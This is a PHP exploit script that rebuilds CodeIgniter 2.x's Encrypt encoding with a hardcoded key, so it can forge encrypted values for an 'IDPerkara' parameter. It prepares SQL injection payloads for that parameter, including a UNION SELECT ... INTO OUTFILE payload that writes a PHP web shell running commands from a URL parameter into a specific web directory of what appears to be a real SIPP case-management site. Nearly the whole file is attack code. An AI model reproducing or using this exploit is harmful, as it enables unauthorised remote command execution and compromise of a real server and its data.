<?php
// CI 2.x Encrypt library simplified implementation

function ci_encode($string, $key) {
    $key = md5($key);
    $rand = md5(uniqid(mt_rand(), true));
    
    $enc = '';
    for ($i = 0; $i < strlen($string); $i++) {
        $enc .= $rand[$i % 32] . ($rand[$i % 32] ^ $string[$i]);
    }
    
    // XOR merge
    $hash = md5($key);
    $str = '';
    for ($i = 0; $i < strlen($enc); $i++) {
        $str .= $enc[$i] ^ $hash[$i % strlen($hash)];
    }
    
    return base64_encode($str);
}

$encryption_key = 'jsadjas^&**&@kl;lijiash';

// Payloads for IDPerkara parameter
// The query is: WHERE penahananweb.IDPerkara=$IDPerkara
$sqli = "1 OR 1=1 UNION SELECT 1,2,3,'<?php system(\$_GET[c]);?>',5,6,7,8,9,10 INTO OUTFILE '/home/mslb9924/public_html/sipp/shell.php'-- -";
$simple = "1' OR '1'='1";
$normal = "12345";

echo "Normal ID:\n";
echo "Encoded: " . base64_encode(ci_encode($normal, $encryption_key)) . "\n\n";

echo "SQLi payload:\n";
echo "Encoded: " . base64_encode(ci_encode($sqli, $encryption_key)) . "\n\n";
?>
